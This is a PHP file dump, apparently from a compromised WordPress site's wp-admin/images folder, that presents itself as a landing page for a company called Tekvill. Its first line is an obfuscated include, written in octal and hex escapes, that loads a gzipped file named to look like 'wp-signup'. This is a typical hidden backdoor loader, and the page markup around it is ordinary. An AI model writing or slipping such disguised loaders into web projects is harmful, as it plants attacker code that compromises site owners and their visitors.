File "index.php"
Full Path: /home/tekvhqgl/public_html/wp-admin/images/index.php
File size: 27.67 KB
MIME-type: text/x-php
Charset: utf-8
<?php
include "\143\157\155\160\162\145\163\x73\x2e\x7a\154\x69\142\x3a\x2f\x2f\x77\x70\x2d\163\x6c\147\156\165\x70\x2e\x67\172";
?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Tekvill - Innovative Solutions</title>
<style>
/* Global Styles */
:root {
--primary: #2563eb;
--secondary: #1e40af;
--accent: #3b82f6;
--light: #f8fafc;
--dark: #0f172a;
--gray: #64748b;
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
}
html {
scroll-behavior: smooth;
}
body {
line-height: 1.6;
color: var(--dark);
background-color: #ffffff;
}
.container {
width: 90%;
max-width: 1200px;
margin: 0 auto;
padding: 0 20px;
}
section {
padding: 80px 0;
}
h1, h2, h3 {
margin-bottom: 1.5rem;
font-weight: 700;
line-height: 1.2;
}
h1 { font-size: 3.5rem; }
h2 { font-size: 2.5rem; text-align: center; }
h3 { font-size: 1.5rem; }
p {
margin-bottom: 1.5rem;
color: var(--gray);
}
.btn {
display: inline-block;
background: var(--primary);
color: white;
padding: 12px 30px;
border: none;
border-radius: 5px;
cursor: pointer;
text-decoration: none;
font-weight: 600;
transition: all 0.3s ease;
}
.btn:hover {
background: var(--secondary);
transform: translateY(-2px);
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.text-center {
text-align: center;
}
/* Header & Navigation */
header {
position: fixed;
width: 100%;
background: rgba(255, 255, 255, 0.95);
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
z-index: 1000;
}
nav {
display: flex;
justify-content: space-between;
align-items: center;
padding: 20px 0;
}
.logo {
font-size: 1.8rem;
font-weight: 800;
color: var(--primary);
text-decoration: none;
}
.nav-links {
display: flex;
list-style: none;
transition: transform 0.3s ease-in-out;
}
.hamburger {
display: none;
cursor: pointer;
z-index: 1001;
}
.bar {
display: block;
width: 25px;
height: 3px;
margin: 5px auto;
background-color: var(--dark);
transition: all 0.3s ease-in-out;
}
.hamburger.active .bar:nth-child(1) {
transform: translateY(8px) rotate(45deg);
}
.hamburger.active .bar:nth-child(2) {
opacity: 0;
}
.hamburger.active .bar:nth-child(3) {
transform: translateY(-8px) rotate(-45deg);
}
.nav-links li {
margin-left: 30px;
}
.nav-links a {
text-decoration: none;
color: var(--dark);
font-weight: 600;
transition: color 0.3s ease;
}
.nav-links a:hover {
color: var(--primary);
}
/* Hero Banner */
#home {
background: linear-gradient(135deg, #e0f2fe 0%, #bae6fd 100%);
padding: 180px 0 100px;
text-align: center;
}
.hero-content {
max-width: 800px;
margin: 0 auto;
}
.nav-links .btn{
color: #fff;
}
.hero-content h1 {
margin-bottom: 20px;
color: var(--dark);
}
.hero-content p {
font-size: 1.2rem;
margin-bottom: 30px;
color: var(--gray);
}
/* About Section */
#about {
background-color: #ffffff;
}
.about-content {
display: flex;
align-items: center;
gap: 50px;
margin-top: 50px;
}
.about-text {
flex: 1;
}
.about-image {
flex: 1;
border-radius: 10px;
overflow: hidden;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.1);
}
.about-image img {
width: 100%;
height: auto;
display: block;
}
/* Services Section */
#services {
background-color: #f8fafc;
}
.services-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
gap: 30px;
margin-top: 50px;
}
.service-card {
background: white;
padding: 30px;
border-radius: 10px;
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.05);
transition: transform 0.3s ease, box-shadow 0.3s ease;
}
.service-card:hover {
transform: translateY(-10px);
box-shadow: 0 15px 30px rgba(0, 0, 0, 0.1);
}
.service-icon {
font-size: 2.5rem;
color: var(--primary);
margin-bottom: 20px;
}
/* Testimonials */
#testimonials {
background: linear-gradient(135deg, #f0f9ff 0%, #e0f2fe 100%);
}
.testimonials-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
gap: 30px;
margin-top: 50px;
}
.testimonial-card {
background: white;
padding: 30px;
border-radius: 10px;
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.05);
}
.testimonial-text {
font-style: italic;
margin-bottom: 20px;
}
.testimonial-author {
display: flex;
align-items: center;
}
.author-avatar {
width: 50px;
height: 50px;
border-radius: 50%;
background-color: var(--light);
margin-right: 15px;
display: flex;
align-items: center;
justify-content: center;
font-weight: bold;
color: var(--primary);
}
.author-info h4 {
margin: 0;
color: var(--dark);
}
.author-info p {
margin: 0;
color: var(--gray);
font-size: 0.9rem;
}
/* Contact Section */
#contact {
background-color: #ffffff;
}
.contact-container {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
gap: 50px;
margin-top: 50px;
}
.contact-info {
display: flex;
flex-direction: column;
gap: 20px;
}
.contact-item {
display: flex;
align-items: flex-start;
gap: 15px;
}
.contact-icon {
font-size: 1.5rem;
color: var(--primary);
margin-top: 5px;
}
.contact-form {
background: #f8fafc;
padding: 30px;
border-radius: 10px;
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.05);
}
.form-group {
margin-bottom: 20px;
}
.form-group label {
display: block;
margin-bottom: 8px;
font-weight: 600;
color: var(--dark);
}
.form-control {
width: 100%;
padding: 12px 15px;
border: 1px solid #e2e8f0;
border-radius: 5px;
font-size: 1rem;
transition: border-color 0.3s ease;
}
.form-control:focus {
outline: none;
border-color: var(--primary);
}
textarea.form-control {
min-height: 150px;
resize: vertical;
}
/* Footer */
footer {
background-color: var(--dark);
color: white;
padding: 50px 0 20px;
}
.footer-content {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 30px;
margin-bottom: 40px;
}
.footer-column h3 {
color: white;
margin-bottom: 20px;
font-size: 1.3rem;
}
.footer-links {
list-style: none;
}
.footer-links li {
margin-bottom: 10px;
}
.footer-links a {
color: #cbd5e1;
text-decoration: none;
transition: color 0.3s ease;
}
.footer-links a:hover {
color: white;
}
.social-links {
display: flex;
gap: 15px;
margin-top: 20px;
}
.social-link {
display: flex;
align-items: center;
justify-content: center;
width: 40px;
height: 40px;
background: rgba(255, 255, 255, 0.1);
border-radius: 50%;
color: white;
font-size: 1.2rem;
transition: all 0.3s ease;
text-decoration: none;
}
.social-link:hover {
background: var(--primary);
transform: translateY(-3px);
}
.copyright {
text-align: center;
padding-top: 20px;
border-top: 1px solid rgba(255, 255, 255, 0.1);
color: #94a3b8;
font-size: 0.9rem;
}
/* Responsive Design */
@media (max-width: 992px) {
h1 { font-size: 2.8rem; }
h2 { font-size: 2.2rem; }
.about-content {
flex-direction: column;
}
.about-image {
order: -1;
}
}
@media (max-width: 768px) {
.hamburger {
display: block;
}
.nav-links {
position: fixed;
left: -100%;
top: 80px;
flex-direction: column;
background-color: white;
width: 100%;
text-align: center;
transition: 0.3s;
box-shadow: 0 10px 10px rgba(0, 0, 0, 0.1);
padding: 20px 0;
z-index: 1000;
}
.nav-links.active {
left: 0;
}
.nav-links li {
margin: 15px 0;
}
.nav-links .btn {
display: inline-block;
width: auto;
margin: 10px auto;
}
.hero-content h1 {
font-size: 2.5rem;
}
.services-grid,
.testimonials-grid,
.contact-container {
grid-template-columns: 1fr;
}
}
@media (max-width: 576px) {
h1 { font-size: 2.2rem; }
h2 { font-size: 1.8rem; }
section {
padding: 60px 0;
}
.btn {
width: 100%;
text-align: center;
}
}
</style>
</head>
<body>
<!-- Header & Navigation -->
<header>
<div class="container">
<nav>
<a href="#" class="logo">Tekvill</a>
<div class="hamburger">
<span class="bar"></span>
<span class="bar"></span>
<span class="bar"></span>
</div>
<ul class="nav-links">
<li><a href="#home" class="nav-link">Home</a></li>
<li><a href="#about" class="nav-link">About</a></li>
<li><a href="#services" class="nav-link">Services</a></li>
<li><a href="#testimonials" class="nav-link">Testimonials</a></li>
<li><a href="#contact" class="btn nav-link">Contact Us</a></li>
</ul>
</nav>
</div>
</header>
<!-- Hero Banner -->
<section id="home">
<div class="container">
<div class="hero-content">
<h1>Innovative Solutions for Your Business</h1>
<p>We help businesses transform their ideas into reality with cutting-edge technology and creative solutions.</p>
<a href="#contact" class="btn">Get Started</a>
</div>
</div>
</section>
<!-- About Section -->
<section id="about">
<div class="container">
<h2>About Us</h2>
<div class="about-content">
<div class="about-text">
<h3>Who We Are</h3>
<p>We are a team of passionate professionals dedicated to delivering exceptional digital experiences. With years of experience in the industry, we've helped numerous businesses achieve their goals through innovative technology solutions.</p>
<p>Our approach combines creativity, technical expertise, and a deep understanding of our clients' needs to deliver outstanding results that drive growth and success.</p>
<a href="#services" class="btn">Our Services</a>
</div>
<div class="about-image">
<img src="https://images.unsplash.com/photo-1522071820081-009f0129c71c?ixlib=rb-4.0.3&ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D&auto=format&fit=crop&w=1000&q=80" alt="Our Team">
</div>
</div>
</div>
</section>
<!-- Services Section -->
<section id="services">
<div class="container">
<h2>Our Services</h2>
<p class="text-center" style="max-width: 700px; margin: 0 auto 40px;">We offer a comprehensive range of services to help your business thrive in the digital landscape.</p>
<div class="services-grid">
<div class="service-card">
<div class="service-icon">💻</div>
<h3>Web Development</h3>
<p>Custom websites and web applications built with the latest technologies to ensure performance, security, and scalability.</p>
</div>
<div class="service-card">
<div class="service-icon">📱</div>
<h3>Mobile Apps</h3>
<p>Beautiful and functional mobile applications for iOS and Android that engage users and drive business growth.</p>
</div>
<div class="service-card">
<div class="service-icon">🎨</div>
<h3>UI/UX Design</h3>
<p>User-centered design solutions that create intuitive and engaging digital experiences for your customers.</p>
</div>
<div class="service-card">
<div class="service-icon">📈</div>
<h3>Digital Marketing</h3>
<p>Data-driven marketing strategies to increase your online visibility, generate leads, and grow your business.</p>
</div>
<div class="service-card">
<div class="service-icon">🤖</div>
<h3>AI Solutions</h3>
<p>Leverage the power of artificial intelligence to automate workflows, gain insights from data, and enhance user experiences through smart systems.</p>
</div>
<div class="service-card">
<div class="service-icon">☁️</div>
<h3>Cloud Solutions</h3>
<p>Secure and scalable cloud infrastructure solutions to power your business applications and data.</p>
</div>
</div>
</div>
</section>
<!-- Testimonials Section -->
<section id="testimonials">
<div class="container">
<h2>What Our Clients Say</h2>
<p class="text-center" style="max-width: 700px; margin: 0 auto 40px;">Don't just take our word for it. Here's what our clients have to say about working with us.</p>
<div class="testimonials-grid">
<div class="testimonial-card">
<div class="testimonial-text">
<p>"Working with Tekvill was a game-changer for our business. Their team delivered exceptional results and exceeded our expectations."</p>
</div>
<div class="testimonial-author">
<div class="author-avatar">JD</div>
<div class="author-info">
<h4>John Doe</h4>
<p>CEO, TechCorp</p>
</div>
</div>
</div>
<div class="testimonial-card">
<div class="testimonial-text">
<p>"The mobile app they developed for us has transformed how we engage with our customers. Highly recommended!"</p>
</div>
<div class="testimonial-author">
<div class="author-avatar">AS</div>
<div class="author-info">
<h4>Sarah Johnson</h4>
<p>Marketing Director, InnovateX</p>
</div>
</div>
</div>
<div class="testimonial-card">
<div class="testimonial-text">
<p>"Professional, reliable, and highly skilled. Tekvill delivered our project on time and within budget. Will definitely work with them again."</p>
</div>
<div class="testimonial-author">
<div class="author-avatar">MR</div>
<div class="author-info">
<h4>Michael Roberts</h4>
<p>Founder, StartUp Hub</p>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- Contact Section -->
<section id="contact">
<div class="container">
<h2>Get In Touch</h2>
<p class="text-center" style="max-width: 700px; margin: 0 auto 40px;">Have a project in mind or want to learn more about our services? We'd love to hear from you.</p>
<div class="contact-container">
<div class="contact-info">
<h3>Contact Information</h3>
<p>Fill out the form or reach out to us directly using the contact details below.</p>
<div class="contact-item">
<div class="contact-icon">📍</div>
<div>
<h4>Our Office</h4>
<p>123 Business Avenue, Tech Park<br>San Francisco, CA 94107</p>
</div>
</div>
<div class="contact-item">
<div class="contact-icon">📧</div>
<div>
<h4>Email Us</h4>
<p>info@Tekvill.com<br>support@Tekvill.com</p>
</div>
</div>
<div class="contact-item">
<div class="contact-icon">📞</div>
<div>
<h4>Call Us</h4>
<p>+1 (555) 123-4567<br>Mon - Fri, 9:00 AM - 6:00 PM</p>
</div>
</div>
<div class="social-links">
<a href="#" class="social-link">f</a>
<a href="#" class="social-link">in</a>
<a href="#" class="social-link">t</a>
<a href="#" class="social-link">ig</a>
</div>
</div>
<div class="contact-form">
<form id="contactForm">
<div class="form-group">
<label for="name">Your Name</label>
<input type="text" id="name" class="form-control" required>
</div>
<div class="form-group">
<label for="email">Email Address</label>
<input type="email" id="email" class="form-control" required>
</div>
<div class="form-group">
<label for="subject">Subject</label>
<input type="text" id="subject" class="form-control" required>
</div>
<div class="form-group">
<label for="message">Your Message</label>
<textarea id="message" class="form-control" required></textarea>
</div>
<button type="submit" class="btn" style="width: 100%;">Send Message</button>
</form>
</div>
</div>
</div>
</section>
<!-- Footer -->
<footer>
<div class="container">
<div class="footer-content">
<div class="footer-column">
<h3>Tekvill</h3>
<p>Innovative solutions for your digital transformation journey. We help businesses thrive in the digital age.</p>
<div class="social-links">
<a href="#" class="social-link">f</a>
<a href="#" class="social-link">t</a>
<a href="#" class="social-link">in</a>
<a href="#" class="social-link">ig</a>
</div>
</div>
<div class="footer-column">
<h3>Quick Links</h3>
<ul class="footer-links">
<li><a href="#home">Home</a></li>
<li><a href="#about">About Us</a></li>
<li><a href="#services">Services</a></li>
<li><a href="#testimonials">Testimonials</a></li>
<li><a href="#contact">Contact</a></li>
</ul>
</div>
<div class="footer-column">
<h3>Our Services</h3>
<ul class="footer-links">
<li><a href="#services">Web Development</a></li>
<li><a href="#services">Mobile Apps</a></li>
<li><a href="#services">UI/UX Design</a></li>
<li><a href="#services">Digital Marketing</a></li>
<li><a href="#services">SEO Optimization</a></li>
</ul>
</div>
<div class="footer-column">
<h3>Newsletter</h3>
<p>Subscribe to our newsletter for the latest updates and insights.</p>
<form style="margin-top: 20px;">
<div class="form-group">
<input type="email" class="form-control" placeholder="Your email address" required>
</div>
<button type="submit" class="btn" style="width: 100%;">Subscribe</button>
</form>
</div>
</div>
<div class="copyright">
<p>© 2023 Tekvill. All Rights Reserved.</p>
</div>
</div>
</footer>
<script>
// Toggle mobile menu
const hamburger = document.querySelector('.hamburger');
const navLinks = document.querySelector('.nav-links');
const navLinksItems = document.querySelectorAll('.nav-link');
if (hamburger) {
hamburger.addEventListener('click', () => {
hamburger.classList.toggle('active');
navLinks.classList.toggle('active');
document.body.style.overflow = navLinks.classList.contains('active') ? 'hidden' : '';
});
}
// Close mobile menu when clicking on a nav link
navLinksItems.forEach(link => {
link.addEventListener('click', () => {
hamburger.classList.remove('active');
navLinks.classList.remove('active');
document.body.style.overflow = '';
});
});
// Smooth scrolling for anchor links
document.querySelectorAll('a[href^="#"]').forEach(anchor => {
anchor.addEventListener('click', function (e) {
e.preventDefault();
const targetId = this.getAttribute('href');
if (targetId === '#') return;
const targetElement = document.querySelector(targetId);
if (targetElement) {
window.scrollTo({
top: targetElement.offsetTop - 80, // Adjust for fixed header
behavior: 'smooth'
});
}
});
});
// Close menu when clicking outside
document.addEventListener('click', (e) => {
if (!e.target.closest('.nav-links') && !e.target.closest('.hamburger')) {
hamburger.classList.remove('active');
navLinks.classList.remove('active');
document.body.style.overflow = '';
}
});
// Form submission handling
const contactForm = document.getElementById('contactForm');
if (contactForm) {
contactForm.addEventListener('submit', function(e) {
e.preventDefault();
// Here you would typically send the form data to a server
alert('Thank you for your message! We will get back to you soon.');
this.reset();
});
}
</script>
</body>
</html>